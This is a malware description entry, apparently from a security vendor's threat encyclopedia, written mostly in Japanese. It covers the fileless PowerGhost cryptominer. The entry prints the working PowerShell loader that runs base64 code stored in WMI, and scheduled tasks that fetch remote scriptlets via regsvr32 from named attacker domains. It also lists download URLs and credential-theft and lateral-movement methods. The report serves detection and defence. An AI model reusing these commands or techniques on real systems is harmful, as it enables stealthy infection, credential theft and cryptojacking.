Fileless.POWERGHOST

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。

マルウェアは、特定の脆弱性を利用した感染活動を実行します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`

自動実行方法

マルウェアは、以下のサービスを開始します。

• RpcSs
• RpcLocator
• RemoteRegistry
• RpcEptMapper
• Winmgmt
• WinRM

感染活動

マルウェアは、以下のソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。

• Microsoft Windows SMB Server (MS17-010) Vulnerability

プロセスの終了

マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

• Powershell processes with an established TCP connection via port 80, or 14444
• Any processes with established connection to ports 3333, 5555, or 7777

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}.{BLOCKED}.43.54:443/v9/windowsupdate/redir/muv4wuredir.cab?148619742
• http://{URL}/vercheck.ps1
• http://{URL}/w/cohernece.txt
• http://{URL}/w/logos.png
• http://{URL}/w/ver.txt
• http://{URL}/w/antivirus.ps1
• http://{URL}/shell (for Unix platforms)
  where {URL} can be any of the following:
  • owa.{BLOCKED}g.com
  • box.{BLOCKED}g.com

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Temp%\{random characters}.exe → TrojanSpy.Win32.BLUTEAL.D
• %User Temp%\java-log-9527.log → contains shellcode
• /tmp/coreupdtes (for Unix platforms) → contains script to download and execute a cryptominer

情報漏えい

マルウェアは、以下の情報を収集します。

• User Credentials
• OS Version
• Computer Name
• Domain Name

その他

マルウェアは、以下を実行します。

• It creates IPSec Firewall Policy
  • Name: netbc
  • Function: Blocks tcp connections to infected machine via port 445 (SMB)
• It is capable of propagating in the local network via the following means:
  • SMB Exploit (MS17-010)
  • MSSQL and SSH Brute-Forcing
  • Dumping Windows Domain Credentials using any of the following techniques/tools
  • Mimikatz
  • Pass-The-Hash
• It creates the following WMI Class under ROOT\default:
  • Window_Core_Flush_Cach
    • WMI objects:
      • mimi - Mimikatz scripts
      • mon - Monero cryptominer
      • funs - Powershell Empire modules used for propagation or lateral movement
      • ipsu - List of IP addresses vulnerable for propagation
      • i17 - List of IP addresses vulnerable for SMB exploit
      • ver - PowerGhost version
      • sc - Shellcode
• It creates the following WMI Classes under ROOT\subscription to achieve persistence in the system:
  • CommandLineEventConsumer
    • Name: Systems Manage Consumer
    • Command: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded command}
  • __EventFilter
    • Name: Systems Manage Filter
  • __FilterToConsumerBinding
• It modifies power configuration settings using the following commands:
  • powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
  • powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
  • powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

• Microsoft Windows SMB Server (MS17-010) Vulnerability

以下のスケジュールされたタスクを追加します：

• Take name: SystemFlushDns
  Schedule: Every 24 hours
  Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
• Task name: Microsoft Assist Job
  Schedule: Every 20 minutes
  Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
  where {URL} can be any of the following:
  • owa.conf1g.com
  • box.conf1g.com